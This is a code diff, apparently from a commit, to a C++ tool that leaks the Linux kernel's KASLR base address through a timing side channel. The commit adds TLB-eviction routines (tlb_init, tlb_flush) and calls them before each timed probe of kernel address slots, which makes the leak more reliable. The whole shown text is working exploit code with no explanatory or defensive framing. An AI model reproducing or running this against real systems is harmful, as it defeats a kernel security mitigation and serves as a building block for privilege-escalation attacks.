2525#include < sys/syscall.h>
2626#include < unistd.h>
2727#include < immintrin.h>
28+ #include < string.h>
2829
2930bool is_kaslr_base (uint64_t kbase_addr) {
3031 if ((kbase_addr & 0xFFFF0000000FFFFF ) != 0xFFFF000000000000 )
@@ -148,6 +149,69 @@ uint64_t sidechannel(uint64_t addr) {
148149 return delta;
149150}
150151
152+ #define _TLB_BUFFER_LENGTH (16 * 1024 * 1024 )
153+ static char _tlb_buffer1[_TLB_BUFFER_LENGTH] = {0 };
154+ static char _tlb_buffer2[_TLB_BUFFER_LENGTH] = {0 };
155+ volatile char * _tlb_l1e, *_tlb_l2s;
156+
157+ static char * _align_page_address (char *address, size_t align)
158+ {
159+ uint64_t target = (uint64_t ) address;
160+ uint64_t aligned;
161+
162+ aligned = target + (align - (target & (align - 1 )));
163+
164+ return (char *)aligned;
165+ }
166+
167+ static void evict_l1_tlb_set (size_t set)
168+ {
169+ size_t index, i;
170+ volatile char *eviction, *p = _tlb_l1e;
171+
172+ for (i = 0 ; i < 4 ; ++i) {
173+ index = (set + (i * 16 )) << 12 ;
174+ eviction = (char *)((size_t ) p | index);
175+ *eviction = 0x5A ;
176+ }
177+ }
178+
179+ static void evict_l2_tlb_set (size_t set)
180+ {
181+ size_t index, i;
182+ volatile char *eviction, *p = _tlb_l2s;
183+
184+ for (i = 0 ; i < 4 ; ++i) {
185+ index = (set + (i * 128 )) << 12 ;
186+ eviction = (char *)((size_t ) p | index);
187+ *eviction = 0x5A ;
188+ }
189+ }
190+
191+ static void evict_l1_tlb_all (void )
192+ {
193+ for (size_t set = 0 ; set < 128 ; set++) {
194+ evict_l1_tlb_set (set);
195+ }
196+ }
197+
198+ void tlb_flush (void ) {
199+ for (size_t set = 0 ; set < 128 ; set++) {
200+ evict_l1_tlb_all ();
201+ evict_l2_tlb_set (set);
202+ }
203+
204+ asm volatile (" lfence" );
205+ }
206+
207+ void tlb_init (void ) {
208+ memset (_tlb_buffer1, 2 , _TLB_BUFFER_LENGTH);
209+ memset (_tlb_buffer2, 2 , _TLB_BUFFER_LENGTH);
210+
211+ _tlb_l1e = _align_page_address ((char *) &_tlb_buffer1, 0x40000 );
212+ _tlb_l2s = _align_page_address ((char *) &_tlb_buffer2, 0x40000 );
213+ }
214+
151215std::pair<std::optional<uint64_t >, std::vector<uint64_t >> try_leak_kaslr_base (int samples) {
152216 size_t slots = (KASLR_END - KASLR_START ) / KASLR_SLOT_SIZE ;
153217 std::vector<std::vector<uint64_t >> all_timings (slots);
@@ -158,6 +222,7 @@ std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(in
158222 for (int i = 0 ; i < samples; i++) {
159223 for (size_t slot = 0 ; slot < slots; slot++) {
160224 uint64_t addr = slot_to_addr (slot);
225+ tlb_flush ();
161226 uint64_t timing = sidechannel (addr);
162227 all_timings[slot].push_back (timing);
163228 }
@@ -208,6 +273,7 @@ std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>
208273}
209274
210275uint64_t leak_kaslr_base (int samples, int trials, std::vector<std::vector<uint64_t >>* debug_data) {
276+ tlb_init ();
211277 std::vector<std::optional<uint64_t >> slots (trials);
212278 for (int attempt = 0 ; attempt < KASLR_MAX_ATTEMPTS ; attempt++) {
213279 for (int trial = 0 ; trial < trials; trial++) {
0 commit comments